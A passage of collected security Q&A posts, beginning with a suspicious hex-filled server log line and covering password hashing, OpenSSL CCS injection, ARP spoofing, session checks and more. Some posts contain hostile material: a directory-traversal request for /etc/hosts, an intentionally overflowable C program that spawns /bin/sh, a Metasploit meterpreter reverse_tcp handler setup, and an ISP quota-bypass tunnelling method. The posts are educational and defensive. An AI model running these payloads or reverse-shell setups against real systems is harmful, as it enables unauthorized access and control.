108.178.16.154 - - [17/Aug/2018:03:17:27 +0000] "\x09\x00\x8B\x00\xFE\x00\xFC\x00\xD9\x00\xD9\x00\xF3\x00z\x00j\x00\x17\x00\xFB\x00\x8B\x00\x8E\x00\xF3\x00\xF3\x00\xFE\x00\xEC\x00j\x00\xA7\x00\x8E\x00\x8B\x00H\x00\xEC\x00\xFB\x00z\x00H\x00\x8E\x00\xEC\x00\x8E\x00\xFB\x00\xF3\x00\xF3\x00\x8B\x00\xF3\x00\x8B\x00\xEC\x00\xC5\x00\xFE\x00\xA7\x00\xA7\x00\x09\x00\x09\x00\x09\x00\xA7\x00\xFE\x00j\x00\xC5\x00\xD9\x00\xFB\x00\xB0\x00\x8B\x00j\x00\xEC\x00\x17\x00\xFC\x00j\x00\x09\x00H\x00\xFC\x00\xB0\x00j\x00\x8E\x00\xF3\x00\x8E\x00\xA7\x00\xEC\x00\xFC\x00z\x00\x09\x00\xD9\x00\xF3\x00\xFB\x00\xB0\x00\x8B\x00\xEC\x00\x8E\x00\x17\x00\xD9\x00\xC5\x00\x8B\x00\x8B\x00\xFB\x00\xB0\x00\xF3\x00\x8B\x00\x8E\x00\xD9\x00z\x00H\x00\xFB\x00\xFE\x00\x17\x00\xC5\x00\x8E\x00z\x00\xB0\x00\xA7\x00\xA7\x00\xFB\x00\xB0\x00\x8E\x00\xC5\x00\xB0\x00H\x00\x17\x00\xC5\x00\x8B\x00j\x00\x8E\x00\xEC\x00\xF3\x00\xFE\x00\xD9\x00\xF3\x00\xA7\x00j\x00\xEC\x00\xA7\x00\xB0\x00\x17\x00\xFC\x00H\x00H\x00\x09\x00\x09\x00\x09\x00H\x00\x8E\x00\xCE\x00" 400 182 "-" "-"

I included the first two to show what normal requests should look like, but the last request is from an IP in the US that has a rating of 100% abuse on this website:

https://www.abuseipdb.com/check/108.178.16.154

What is it trying to do with that series of hex?

It looks like its someone scanning your server for vulnerabilities. Most likely a bot of some sort. I don't think it's something to worry about, because as @immibis commented, your server is doing exactly what it should do when it receives a request like this.

Public facing IPs are pretty consistently scanned for ways to get in, mostly by bots.


Spam Mail - have someone broke in to my shared hosting account? Yesterday I noticed that one of my e-mail addresses (the only one within that domain) started to receive a lot of weird messages that the mail haven't reach the target (something like "Sorry, Qmail wasn't able to deliver..." etc.). I (or rather the hosting provider I have a shared hosting account from) do(es)n't use QMail as far as I know. Further more, in the "From" field within these unsuccessfully delivered returned e-mails I can see different, odd names I have no idea about.

I don't want to put name of the hosting provider publically, and I'm really not into the security subject, but it seems to me like someone somehow got access to the mailing server from my webhosting provider, and started to use it to send a spam messages around the world - I saw english, german and chinese texts, among others there in the messages.

For the moment, I modified DNS of that one mentioned domain, so that it doesn't indicate to my hosting provider's servers (and the webpage is inaccessible either, then).

But what should I do in the situation like this? And what does it actually mean? Is changing a hosting provider sufficient, or hacker still would have access to my mailing account?

Maybe I should remove all the data from the server? What is the chance that he has access to all the other data (e.g. shell, hdd etc.) on the server where I have e.g. my webpages placed?

UPDATE Thanks for suggestions.

So, my provider's technical staff wasn't too interested in the problem, and he said of a number of reasons why someone could be able to use my email address for spamming. He said that there was not security issues (of course, he could have lied - typical commercial practice :P my former boss used it too sometimes :P ) on their side, and suggested that my password could have being stealed by a malware software (I use antivirus, though I really never believed any of the software like that). Hmm.

But now I recall that for almost all my email addresses (different domains) like 3 months ago I started to receieve a weird spam - it was exactly the same message for each of my addresses. Since I register most of my accounts for popular portals like Ebay, Twitter etc., I think now that one of these portals' security could have been broken!

(And why I think that the issue is not connected to my own computer: because all the email addresses that I haven't registered for Twitter etc. accounts, never received any spam - it was like a policy for the email addresses that has been registered. And I didn't register them anywhere else than the popular webportals).

Does anyone know about a case of breaking in to one of popular (particularly social) webportals recently like about, say, 4 months ago?

To answer your initial concern. Its very unlikely you were hacked. If you were, I would recommend using stronger passwords and getting into a regiment of changing it once every 60 days. But again I find it very unlikely that your hosting account was compromised.

In regards to the issue:

Beside switching Hosting providers. The only thing you could do is provide mail header information which comes with each email sent and shows originating information as well as the route. That information can help your provider track it down in their system. Sometimes the issues come from one bad able on your shared IP address that is abusing the mail server which then other mail servers will begin to block any emails coming from that originating IP.

From my experience in running a webhosting Infrastructure, some allow you to switch IP's which can sometimes fix the issue if the whole mailserver has not been blacklisted. this might, require you to be moved To a new server (which is not a terrible thing its all batch script).

Best to just see what your provider can do. But from what I am hearing this sounds more like a case of a bad apple on the server or more of spammer ruining the mail server and overall product experience.


How can the OpenSSL CCS Injection vulnerability (CVE-2014-0224) be exploited? Just curious how this one works in practice and if it's as much of a risk as has been made out? It says you actively require a MiTM scenario, which is understandable, but then what are the steps to actually downgrade the cipher spec?

As a MiTM, if you try and alter the messages between client/server (ie to downgrade the CipherSpec), surely due to the nature of SSL the client would get a notification that the messages aren't from the intended source?

Or does the attacker change the CipherSpec of a client/server for all connections and simply sniff the traffic between them?

Or do you need to combine this with another SSL vulnerability to trick the client into thinking you are the source and therefore it can trust messages between you?

The idea of this attack is that it is taking place in the SSL handshake, hence the client is still not aware of the MITM and since the attack manages to downgrade the key of the encryption it will manage to make your client believe it is talking to the real server. So if someone manages to MITM your client with the client and server both using open ssl with the vulnerable versions its game over.

This blog post has a nice explanation and insite into the bug: https://www.imperialviolet.org/2014/06/05/earlyccs.html


How does the NSA restrict public access to cryptography? In Bruce Schneier's book Applied Cryptography (1994?) he writes

  The NSA uses its power to restrict the public availability of
  cryptography, so as to prevent national enemies from employing
  encryption methods too strong for the NSA to break.

My first question: Is this still true today?

My second question: If this is still true today, what are the ways that the NSA restricts the public's access to secure cryptography?

(I can only think of the export restrictions as one of the ways in question 2.)

This quote is quite misleading in several ways. Let's recall some facts:

Bruce Schneier writes from an American (as in "USA") point of view. This is rather clear: when someone says "national" without specifying what nation he is talking of, then chances are that he means the USA.
USA, like many other countries, have export regulations for cryptographic material; they also have other laws regulating usage, import, publication... in a number of more or less complex cases. See this site for a comprehensive survey of cryptographic laws around the World. Take note that these regulations evolve at a fast pace, just like the technology that they are trying to regulate; 20 years are a long time.
US export regulations are controlled by the Export Administration Regulations, an emanation from the Department of Commerce, but in 1994 the relevant administration was ITAR, linked to the Department of State, with inputs from the Department of Defense during the review and approval process.
In 1994, there was an ongoing criminal investigation with regards to a supposed unauthorized export of "munitions", namely the source code for PGP. In order to work around the export regulations, the source code of PGP was printed as a book (because export of books from the USA is not restricted), and meant for automatic scanning once beyond the USA boundaries (so this was only technically a book; it would be fairer to call it a "floppy disk made out of paper"). It is actually unknown whether the export was really done with the book and a scanner, or simply with a floppy disk or network, using the "book" as a plausible deniability token (since the book exists, it could have been used, and therefore the existence of the source code in non-US countries does not automatically imply that it was exported through any other, regulated means). Anyway, the case was dropped a few years later.
The NSA is one of the multiple intelligence agencies of the USA, specially dedicated to communications, in both offensive and defensive roles. This means that the NSA is likely to be involved on cryptography questions, when it comes to breaking other people's systems but also, for US own usages (government and business), promoting encryption systems that other people won't be able to break. In the latter role, standards are established by NIST (which depends from the Department of Commerce) with inputs from NSA (which comes from the Department of Defense) without any formal subservience.

The rest is mostly speculations. The quote from Applied Cryptography translates Schneier's point of view, or, more accurately, what was his point of view back in 1994. These speculations include the singling out of "the NSA" as an all-powerful puppet master, able to curb the other parts of the US Federal administration to its will; that the NSA wants to spy on American people (that one is true, although their mandate is for targeted individuals) and will thus want to kill strong cryptography altogether (that's the speculative part: it completely ignores the other role of NSA as promoter of strong cryptography); that everything which happens in the field of cryptography is (or was) a direct result of a struggle between the arch villain Darth NSA, and a bunch of disorderly youngsters fighting for their freedom (of speech). This is, at best, an atrociously simplistic cliché. It also makes the highly implausible assumption that a huge administrative structure like the NSA is both competent and structurally efficient.

Like most defense-related organizations which have lived throughout the Cold War, the NSA and the myriad of other similar agencies has long had a structural tendency to think of "the Enemy" as definitely Red and Siberian. However, the field has changed. In particular, War is now much more a question of economy and commerce than soldiers and nuclear warheads. Classic spying involves a fake plumber with big ears in an embassy; modern spying will more use a fake intern at some big business. This is a tragic turn of events that established intelligence agencies find hard to live: they are no longer spearheading the spying effort. Their playground has been stolen from them, and has shifted to private corporations who now wage that war between themselves.

This forces intelligence agencies to reevaluate their goals and methods, which is easier said than done. To some extent they found some relief in the definition of new "normal" enemies (albeit with less communism, but longer beards and a sunnier tan). But they still have to tilt toward their "defensive" role. In the field of cryptography, this can be seen by comparing DES with AES. The old encryption standard was designed by IBM. NSA was involved, and, from what was said afterwards (in particular by Don Coppersmith), we can conclude that the NSA inputs influenced the design in two ways:

The (effective) key length was shortened, from an initial 64 bits to 56 bits (which mechanically implies a lower resistance to exhaustive search).
The DES "S-boxes" were strengthened against differential cryptanalysis. More accurately, both IBM and NSA has independently discovered that kind of cryptanalytic method, and they worked together to make strong S-boxes; NSA furthermore "convinced" IBM not to publish the method (which was ultimately rediscovered by Biham and Shamir in the 1980s, and then published).

These design influences are the mark of a self-concious leader: the NSA of the 1970s knew (or at least assumed) that it was more powerful than the rest of the World, both in computing power (they thought they could go through 256 possible keys faster than anybody else) and in mathematics (hence the ban on publication of differential cryptanalysis). They still mixed in both offensive weakening (reduction of key length) and defensive strengthening (improved S-boxes), thereby fulfilling their dual mandate.

Such advances could not last for long, especially since private business finally decided to embrace computers. Even talking only raw money: current NSA budget is estimated around 10 billions of dollars, a hefty sum; but Apple's cash reserve are up to 160 billions (as of early 2014). Back in the late 1990s, US intelligence agencies (including NSA) admitted that they could no longer expect to be in the lead, thus dooming the strategy of enforcing "slightly weak" algorithms. Instead, they went for the design a new encryption algorithm which was so strong that nobody would be able to break it; not them, but nobody else either. This was the AES. With such goals they could even afford an open, international competition, and select an algorithm designed by foreigners ("reasonable" foreigners, mind you; preferably westerners from a non-controversial country, in this case Belgium).

From all this, we can conclude that the NSA is not really working to prevent "the public" from accessing "secure cryptography". Instead, they are working hard to ensure that:

the "good" people (US businesses) have access to strong cryptography that the "bad" people (their non-US competitors) won't be able to break;
they can keep track of all cryptography products that are in use, so that they can at least know whether any given algorithm can be recommended for "good" people use;
they still get enough legal weapons to trigger search warrants, assets freezing or other restrictions on people that they really don't like.

NSA also realized that in a given security system, cryptography is often the strongest part, not the weakest, and concentrating on buffer overflow exploits and concealed backdoors was much more likely to yield tangible results than trying to enforce weak crypto everywhere. In particular, the Internet quite kills any hope of effectiveness for an import or export embargo.


What is the purpose of confirming old password to create a new password? Suppose that someone stole my password, he/she can easily change it by confirming the old password.

So, I am curious that why do we need that step and what is the purpose of using old password confirmation?

If you are logged in and I sit down at your computer, I can lock you out of your account and transfer ownership to myself.


What's insecure about this code? I'm trying to learn binary exploitation, and thought of using online samples to train myself. Here's one that I've found, and I can't see to figure out how to exploit it.

int main(int argc, char** argv[])
{
  uint32_t number = 0;
  uint32_t guess = 0;
  char input[8] = {0};

  FILE* devRand = fopen("/dev/urandom", "rb");
  if(devRand == NULL)
  {
    printf("I can't think of a number");
    return EXIT_FAILURE;
  }

  fread(&number, 1, 4, devRand);
  fclose(devRand);

  printf("What number am I thinking of?\n");
  fflush(stdout);

  bool correct = false;
  do
  {
    fgets(&input[0], 28, stdin);
    guess = strtol(&input[0], NULL, 16);

    if (number == guess)
    {
      correct = true;
      printf("Yes!\n");
      fflush(stdout);
      system("/bin/sh");
    }
    else
    {
      printf("No\n");
      fflush(stdout);
    }

  }
  while(!correct);

  return EXIT_SUCCESS;
}

It would be appreciated if someone can give me a detailed explanation of the exploit, how it works, and how it can be mitigated.

Thanks!

fgets can read in up to 28 bytes into an 8 byte array.

char input[8];

...

fgets(&input[0], 28, stdin);

Type in 28 bytes of data when prompted, and you'll overflow the input variable.  This means that the both guess and number will be overwritten with the first 8 bytes of data past the 8 bytes the array can hold.  Any more data provided will continue to overwrite stack protections, and eventually the return address of the function (and beyond).

You can learn more about buffer overflows in this question.

This can be mitigated by making sure you don't read in more bytes than your buffer is allocated.


When checking a session variable to see if a user is logged in, is it enough to check to see if the variable is set? When displaying a page with content only logged in users should see, I simply check

if(isset($_SESSION['hasLoggedIn']))
{
  //show content
}
else
{
  echo 'you must log in';
}

In this article it recommends checking the IP address and browser each time.

$_SESSION['login_string'] = hash('sha512', $password.$ip_address.$user_browser);

Is this necessary? I thought since session variables only existed on the server they are not prone to attack? I kind of don't get why $password is there. If the password is being passed to each page, wouldn't it be easier for the database with the userid/password to be queried, or is the idea that this way the database doesn't need to be queried (which is time consuming)?

There are other things to consider to get a secure session handling, like using SSL, regeneratig the session id, and more. But to get the login state from the session, it is enough to test if a certain value is set, like you did.

Of course you can store additional information about the user connetion in the session, but password and ip-address are not appropriate. Especially the password should not be stored plaintext on server-side, and that is what you need to check the hash in your example. The ip-address is not a reliable information, it could be dynamic and change during the visit of the user. In this case the user would be denied access, even if he had logged in successfully before.

If you want to store additional information, i would recommend to write this fingerprint into a separate variable like $_SESSION['client_fingerprint']. There is an article from Chris Shiflett (see section: Preventing Impersonation), it shows that there are not many informations appropriate to generate this fingerprint.


Can I know somehow if my password hash is known? Is there a secure way to know if my password's hash is publicly known on the internet? First I tried to search for it in Hashes.org (http://hashes.org/search.php), but then I suspected, that if it doesn't find my hash, then it will add to the unknown list and it will be cracked. I contacted Hashes.org, and they confirmed that indeed it works as written above. I'm trying to use as secure passwords as possible (and convenient), but if the cracked hash is already out there, then it doesn't really matter. Thanks for your help in advance.

If your password is stored properly, it is stored by hashing the password and a salt. Although a cracker who breaches the system on which you have made an account can almost certainly get the salt if he can get the hash, a salt of non-trivial length stops pre-computation attacks and forces the attacker to attack each password separately.  A suitably slow hash algorithm makes attacks on a single password difficult, provided the password is strong enough not to be in a dictionary nor vulnerable to heuristic attacks.

So, for a properly stored password, the hash of the password alone is essentially useless to an attacker.  (Of course, many sites will not store passwords properly, but there is little you can do about that other than avoid password re-use.)

There is more on salting here: https://crackstation.net/hashing-security.htm

Edit: I've performed the following experiment with hashes.org.  I first computed the MD5 hash of "love," a sadly common password.  It was found on hashes.org, as expected.  I then computed the MD5 of "love" concatenated with "315379008," a 32-bit random number.  As expected, it was not found.  A real password system would use a much slower hash than MD5 and a salt much longer than 32 bits, e.g. 128 bits, much further reducing the chances that a pre-computed hash would be found, even for a very common password.  (Of course, "love" is still a terrible password, even if properly salted, because it will fall to the attacker who has access to the salt.  You still need a strong password.)


Does the legality of pentesting without permission depend on its success? If I open up the index page of some completely random website (which I have no prior contract to test), and I find myself seeing sensitive information caused by some webapp error, SQL errors for example. That should not be my problem, because I didn't intend to see it and it's not my fault.

Let's put it this way. My request is now HTTP GET /index.php?image=../../../etc/hosts to see my favorite cat picture. Does it sound like "more illegal"?

In both cases I accessed information they were not intended to share without prior permission. So what differentiates regular browsing and looking for vulnerabilities if you technically can't know what data will be returned by the webserver?

So the precise answer will depend on the jurisdiction in whereever you are and the the precise Computer crime laws in place in that jurisdiction, however a general point can be made about the example provided.

By placing a website on the Internet and not protecting it from access, it is arguable that this is a statement of intent for the content of the site to be publicly available.  If you think about it how do you know that the owners of any site you visit intended the information to be publicly accessible, you don't, so the presumption is that basic page access is allowed.

The example you have as the second part is clearly a directory traversal attack intended to access a file which would not generally be intended to be made public.  The defence of "I thought ../../etc/hosts was a picture of my cat" is very unlikely to be acceptable to a court.

A more grey area example would be something like a case where it's allowed to access http://somesite.com/document?itemid=4000 but not http://somesite.com/document?itemid=4001


How does mobile free internet bypass works? (UBT / FBT) I have encountered a mobile application named "HTTP Injector" which lets you get free internet access (UBT / FBT).

The process to get it work and receive free internet seems to be as follows:

Guidance videos on YouTube show that an end user needs to have a VPN server with SSH set up.
The end user then needs to find an open HTTP proxy using a common website like hidemyass.com
The HTTP Injector application generates a "payload" which is actually a "HTTP CONNECT" request to the proxy.
The HTTP Injector is loaded with the credentials and configuration needed for initiating an SSH connection to the VPN server.
The "payload" with the CONNECT method is sent via SSH (somehow, maybe SSH tunneling) and...
The end user is then able to move from the WiFi connection back to Cellular Data.

How does this works? How does the SSH connection keep alive over a SIM with no cellular data quota left? Moreover, How does the VPN server knows how to forward the request to the proxy? And how come this haven't been prevented yet?

This seems to exploit a vulnerability in how that particular ISP handles quotas.

A lot of ISPs implement quotas at an application level and not at a packet level, so they can discriminate based on the protocol (and its properties like which URLs you're browsing in case of HTTP). It seems that they've got a loophole where they block HTTP(S?) traffic when you're out of data, but forgot to block SSH (which operates on a different port).

As a result you're able to tunnel your traffic through the SSH server and enjoy your free data. The same exploit could apply to DNS or ICMP (there is software out there that can tunnel traffic through innocent-looking DNS or ICMP packets) if you find out that they don't filter either of those protocols.


Bcrypt as a key derivation function? I read a lot of entries at stack exchange about bcrypt and why it is supposed to be better than PBKDF2 in terms of password storage.

I'm asking now if bcrypt is better than PBKDF2 in terms of key derivation? In my case, I only have to derive a symmetric key for AES encryption (e.g. 256 bits key length). This key doesn't have to be saved, it's only used on the fly for encryption.
What would you suggest, is bcrypt better in this scenario than PBKDF2?

Cheers,
Pits

Bcrypt outputs a 192-bit result, no more, no less. This is inconvenient if you want a key longer than 192 bits, e.g. a 256-bit AES key. In that situation, I recommend taking the bcrypt output and hashing it with a secure hash function with a large enough output for the required key material length (e.g. if you need a 256-bit encryption key and a 128-bit MAC key, use SHA-384 or SHA-512). Otherwise, bcrypt is considered to be fine as far as key derivation is concerned.

(Generating a 256-bit encryption key from a 192-bit value does not make much sense; but using 256-bit AES instead of 128-bit AES does not make much sense either, practically speaking. The real weakness in a bcrypt-powered system, anyway, is that the keys come from a human-remembered password; bcrypt makes such a thing tolerable, but nowhere near as secure as a truly random 128-bit key, much less a 192-bit or 256-bit key. So if you need a 256-bit key for "administrative reasons", generating that from the bcrypt output and a hash function would create no extra actual security problem.)

Bcrypt has a minor quirk in that if you split a 192-bit bcrypt output into three 64-bit values, it is mathematically guaranteed that the three 64-bit values will be distinct from each other. Thus, the output of bcrypt can be distinguished from that of a random oracle by looking at about 264 distinct bcrypt outputs (for random 192-bit values, one may expect to encounter a block collision -- two of the three 64-bit values equal to each other -- after an average of 264/3 values). This is a very slight bias which has no practical consequence for security.


Does an application purely for intranet use by employees need secure software design or to follow OWASP guidelines? I'm developing an application over an intranet and is used only by an internal employee. There wouldn't be any external parties involved here and no external communication would be used by the application.

Does it need secure software design in this case? If so, will it be enough to follow the guideline of OWASP?

While Kyle Fennell's answer is very good, I would like to offer a reason as to why it is recommended for internal applications to be designed securely.

A large number of attacks involve internal actors

There are many different versions of this factoid. "50% of all successful attacks begin internally", "Two thirds of all data breaches involve internal actors", etc.

One statistic I could find was Verizon's 2019 DBIR, in which they claim:

  34% [of the analyzed data breaches] involved internal actors

Whatever the exact number may be, a significant amount of attacks involve internal actors. Therefore, basing your threat model on "it's internal, therefore it's safe" is a bad idea.

Secure Software Development does not just prevent abuse, but also misuse

Abuse: The user does something malicious for their own gain
Misuse: The user does something malicious because they don't know any better

The reason why I bring up misuse is because not everything that damages the company is done intentionally. Sometimes people make mistakes, and if people make mistakes, it's good if machines prevent those mistakes from having widespread consequences.

Imagine an application where all users are allowed to do everything (because setting up permissions takes a long time, wasn't thought of during development, etc.). One user makes a mistake and deletes everything. This brings the entire department to a grinding halt, while the IT gets a heart attack and sprints to the server room with last week's backup.

Now imagine the same application, but with a well-defined permission system. The user accidentally attempts to delete everything, but only deletes their own assigned tasks. Their own work comes to a halt, and IT merges the data from last week's backup with the current data. Two employees could not do any productive work today, instead of 30. That's a win for you.

"Internal" does not mean free from malicious actors

Some companies are technically one company with multiple teams, but they are fractured in a way that teams compete with each other, rather than working together. You may think this does not happen, but Microsoft was like this for a long time.

Imagine writing an application to be used internally by all teams. Can you imagine what would happen once an employee figures out you could lock out other employees for 30 minutes by running a script that he made? Employees from "that other team" would constantly be locked out of the application. The help desk would be busy for the 5th time this week trying to figure out why sometimes people would be locked out of the application.

You may think this is far-fetched, but you would be surprised how far some people would go to get that sweet sweet bonus at the end of the year for performing better than "the other team".

"Internal" does not stay "Internal"

Now, in 2020, your application will only be used by a small group of people. In 2029, the application will be used by some people internally, and some vendors, and some contractors as well. What if one of your vendors discovered a flaw in your application? What if they could see that one of their competitors gets much better conditions?

This is a situation you do not want to be in, and a situation that you could have prevented.

Re-Using Code from your "internal" application

You write an internal application that does some database access stuff. It works fine for years, and nobody ever complained. Now you have to write an application that accesses the same data, but externally. "Easy!", thinks the novice coder. "I'll just re-use the code that already exists."

And now you're stuck with an external application in which you can perform SQL injections. Because all of a sudden, the code that was created "for internal use only", no pun intended, is used externally. Avoid this by making the internal code fine in the first place.

Will it be enough to follow OWASP?

The answer to this question is another question "Enough for what?". This may sound nitpicky at first, but it illustrates the problem. What exactly do you want to protect?

Define a threat model for your application, which includes who you think could possibly be a threat for your application in what way, then find solutions for these individual threats. OWASP Top 10 may be enough for you, or it might not be.


Meterpreter commands not working in shell I used use multi/handler followed by set PAYLOAD windows/meterpreter/reverse_tcp then set LPORT 80 and set LHOST 192.168.0.11 after that I do exploit -j -z and go on my Windows machine connected to the same network and connect to 192.168.0.11:80 then I open my session with sessions -i 1 then I'm in the meterpreter shell.
When I try to run ls, ps, cd, download etc... I get Unknown Command: command. What am I doing wrong? Some commands like help still work though.

Simply, you cannot do that.
You sat up multi/handler with meterpreter reverse_tcp as payload and then you're gone to your victim machine and visited it like a website.
See, the multi/handler expect a connection from a meterpreter payload not from a web browser. That's why you couldn't execute anything.
To back up what I said, try it another time without the j and z options.
When you go to your windows machine and visit your attack box, you will see that the connection is dropped after the user-agent string is showing.


Snort IDS for Amazon deployment Is Snort a good choice for monitoring network and web application traffic on Amazon EC2? If not, why and what IDS would you suggest? Is Snort a good choice to monitor for XSS, Sql Injection, attempt to brute force accounts and enumerate users, and detect DDoS against the web app?

Snort can be installed on the Linux based loadbalancers (haProxy); but I am not sure where commercial tools like Alert Logic should sit that does not create a performance bottleneck and single point of failure.

I don't have much experience with AWS, but if your main goal is to protect against web-related exploits like XSS, SQL injection, etc., then a web application firewall may be more effective. Snort certainly has rules available for these things, but in my experience a web application firewall will do a better job. This thread has a good explanation on why this is often the case: Using an IPS as an alternative to mod_security

If you are using apache mod_security is the most popular WAF. For DDoS and brute force protection, check out mod_evasive.

Of course Snort does a pretty good job as well and protects against things that WAFs do not, so if the extra resource usage doesn't concern you then I don't think there's any harm in also running Snort as an additional layer of protection.

Ultimately though, the best way to secure a web application is to audit the web site's source code to make sure that these vulnerabilities don't exist in the first place. IDS and web application firewalls are great, but if your site has a vulnerability, a determined attacker will find a way to exploit it.


Methods for slowing down a hashing algorithm I understand why a hashing algorithm should be slow but is the method that makes it slow important to the strength of the hash?  Everything I've read says that the algorithm should be computationally slow - hash the thing over thousands of iterations or concatenating it with huge strings to slow it down.  This seems like it would put unnecessary strain on the CPU.  Couldn't you just hash the password once with a good random salt and then just pause the thread for a set amount of time?

The goal isn't to make the hash slow for you to compute.  The goal is to make the hash slow for an attacker to compute. More specifically, slow for an attacker who has fast hardware and a copy of both the hash and salt, and who therefore has the ability to mount an offline attack. The attacker need not pause a thread during his computations just because you added that to your application. He is going to use software and hardware that will allow him to compute the hashes as quickly and efficiently as possible. Therefore, in order to make it computationally hard for him, with all of his fast hardware and his efficient hashing software, the hash must be computationally hard for you to compute as well.


Why are some cookies/data changes (e.g. via Burp) persistent and some are not? I am not a developer, so please forgive my ignorance. Can someone explain why some cookies can be manipulated and submitted via Burpsuite proxy and some cannot? Is there something in JS (or whatever language) that checks against tampering? If so, can this be defeated?

Example: if I'm using Burpsuite during a penetration test, I can change the cookie value from NotAnAdmin to Admin. Sometimes this will work, and sometimes the server will still respond as if I did not make any changes and use the cookie as if it still said NotAnAdmin.

I have tried this with hashes as well, where I will try to swap out a hash or token or something to another one, but the site responds with the original token it generated or changes it back somehow and does not use the one I put in manually.

I stumbled upon this answer from stack exchange regarding why some cookies can be altered and some cannot.

Some are "signed" cookies. They use a hash and other information to prevent tampering.

https://stackoverflow.com/questions/11897965/what-are-signed-cookies-in-connect-expressjs#11898142


Is installing an old version of OpenBSD on an internet-facing server a security risk? I have one specific package (moodle) which is not available on newer versions of the aforementioned OS.  The last version of moodle was available on OpenBSD 5.3, which is more than 4 years old.

Knowing of OpenBSD's impressive security track record, is there a security risk in installing the moodle package (www.moodle.org) on an OpenBSD 5.3 server exposed to Internet?

I have one specific package (moodle) which is not available on newer versions of aforementioned OS (last version of moodle was available on OpenBSD 5.3) which is more than 4 years old.

In my opinion you ask the wrong question. The problem is less the old version of OpenBSD but more the old version of Moodle you want to run on this OpenBSD version. Although you don't specify details my guess is that you want to use this package (or here) which contains Moodle 1.9.16 on PHP 5.4 - both being very old.

OpenBSD releases are supported essentially for one year. Running a version of OpenBSD which is more than 3 years out of support can maybe done  if you really know what you are doing to keep the attack surface minimal enough - for example by only having SSH access with only key based authentication and if you have no untrusted users on your system.

But, running a large web application like Moodle definitely does not count as minimal attack surface. Web applications are usually complex and often have security vulnerabilities, sometimes even critical ones which allow remote code execution. And such vulnerabilities also exist with older versions of Moodle as a simple search shows. And while sometimes critical fixes get backported to older versions you can see from the commit history that the last change on this package was done 2012-01-21. I guess that this non-maintenance of the package was also the reason that it got removed from ports on 2013-09-20.

In other words: Running an old version of a large and complex application like Moodle with known critical security vulnerabilities is a very bad idea. And the security of OpenBSD will not help to protect you much in this case. It will not help much if you use a current version and it will help even less if use use an old and unmaintained version of OpenBSD.


How to reset Windows trusted certificates store to its default Over time I have installed several additional trusted CA certificates to Windows trust store, sometimes because an app pushed me to do so, other times for reasons of development and testing.

Is there any command to restore the default (or currently MS recommended) trusted CA certificates and delete any other entries?

Theoretically, you could apply the following method:

Delete all root CA certificates except the ones that are absolutely needed by Windows itself, as indicated here.
Install the current list of trusted root CA from the current package. Note that validation of this package requires that you still trust one of the "necessary" root CA, which is why you must keep them in the first step.

I emphasize that I have not tested this method. As a preparatory step, you may want to first make a backup of all these certificates: run certmgr.msc, open the Root store, select them all (e.g. with Ctrl-A), then right-click and choose to export them all as a PKCS#7 file. That file will contain a copy of all the certificates, which should allow you to repair things, if the method above fails in some way. There again, the recovery is untested.

Be wary of the multiplicity of stores. certmgr.msc shows an aggregate view containing certificates from various sources ("physical stores"). To understand what you are about to do, in the certificate manager, right-click on the Certificates node (root node of the tree in the left pane), select View then Options, and select the Physical certificate stores box. This process is described in this blog entry (with screenshots).


Is there a reason why ARP spoofing would be used for spying instead of sniffing promiscuously? I am a student trying to demonstrate an ARP spoofing attack. To test whether my attack was working I decided to use wireshark to sniff the packets on the attacking machine. At first I thought I was able to intercept traffic with my ARP spoofed setup, but I came to find that the reason I was able to see the packet was because wireshark is able to sniff promiscuously.

Now I'm reading some information about ARP Spoofing on Wikipedia, which says the following:

  Generally, the goal of the attack is to associate the attacker's host MAC address with the IP address of a target host, so that any traffic meant for the target host will be sent to the attacker's host. The attacker may choose to inspect the packets (spying), while forwarding the traffic to the actual default destination to avoid discovery, modify the data before forwarding it (man-in-the-middle attack), or launch a denial-of-service attack by causing some or all of the packets on the network to be dropped.

If the ARP spoof spying only works on a local network because it is at layer2 and I'm able to sniff promiscuously on the same local network, is there any reason to prefer the ARP method? I recognize that it can be used for a MITM attack, but I'm asking about purely for spying. Is it possible to disable promiscuous listening? Using the commands ifconfig enp0s25 -promisc and ifconfig enp0s25 promise I am able to change this mode on my interface, but I don't notice anything immediately.

On modern networks, passive sniffing (e.g. an interface in promiscuous mode) is typically not enough to sniff traffic of other devices on the network.

On a wired network, switches are generally used to link multiple devices together at layer 2. Switches learn what MAC addresses are connected to each port, and will only send frames out of the port that has the destination device attached. Therefore, an attacker who is connected to a switch will not receive traffic destined to other devices while in promiscuous mode. Here, ARP spoofing is necessary to convince the other devices to send their traffic to your MAC address, which will allow the switch to forward it to you.

If a hub is used instead of a switch (i.e. an old network), it sends all frames out of all ports, regardless of where the destination is. In this case, sniffing in promiscuous mode is sufficient.

Wireless networks get a little more complicated. On WPA2 networks, you simply cannot receive packets destined for other devices (since they each have their own encrypted session), and even on open networks, your wireless card shouldn't receive/process other traffic, promiscuous mode or not. In this case, you'd need ARP spoofing to sniff.

However, some wireless cards can be put in monitor mode, which allows all 802.11 frames on the current channel to be captured while not associated to any given network. If you capture a client's 4-way WPA2 handshake and have knowledge of the network's pre-shared key, you can decrypt the traffic. ARP spoofing is not needed here for sniffing.

So as you can see, there are different network scenarios that may or may not require an active attack like ARP spoofing in order to sniff.


What private information is stored in a cache db wal file from android mobile device I have just found a cache db wal file from android mobile device. I would like to know what private information of mine is stored in it. I did not make this file. Can I find out who made it?

.db-wal file is a sql database write ahead log (wal) file. You can view more information on it here.
db-wal files

The sql database for whatever application it is made it, it is a normal file. you can use a file explorer such as x-plore on android and view contents, some of content may be encrypted some not.


How to protect an application from attackers with full read-access to the db? I work on a web application with the client side being a single-page Javascript application and the server side being a REST service. This application manages sensitive user data which must not be readable even by an attacker with full read-access to the live database or some database archive.

Our plan is to:

when the user registers, generate asymmetric keys on the client side and send them to the server, with the private key encrypted with a key derived from the user password
authenticate the user by asking the encrypted private key from the server and decrypt it on the client side using the user password. Successful decryption equals successful authentication
generate symmetric keys when a sensitive document is created, encrypt the document and share these keys with the authorized users, PGP style
for password recovery we give the user his plain private key and trust him to keep it safe

Note that we assume that the attacker doesn't control neither the browser nor a running server.

In this scenario, what attack vectors do you see?

Is it possible to implement a simpler recovery mechanism that doesn't require the user to store the private key?

Do you have any other concerns/recommendations?

Thanks

In this scenario, what attack vectors do you see?

If your platform is the browser, then one possible attack might be to modify your javascript code in transit and add in a few lines of code that share the client-generated keys with the bad guys.

This implies a successful MITM attack on the downstream traffic. This may be made possible by design in contexts where there is content filtering going on between you and the client which needs to read encrypted content in order to make filtering decisions. If an attacker attacked the content filtering server instead of your server or the client browser, it's probable he could succesfully pose as your server and modify the javascript that the client sees, and you'd never know it.

You said that neither the browser nor the server are under an attacker's control, but if either was the case, obviously it would be a piece of cake to break the protocol.

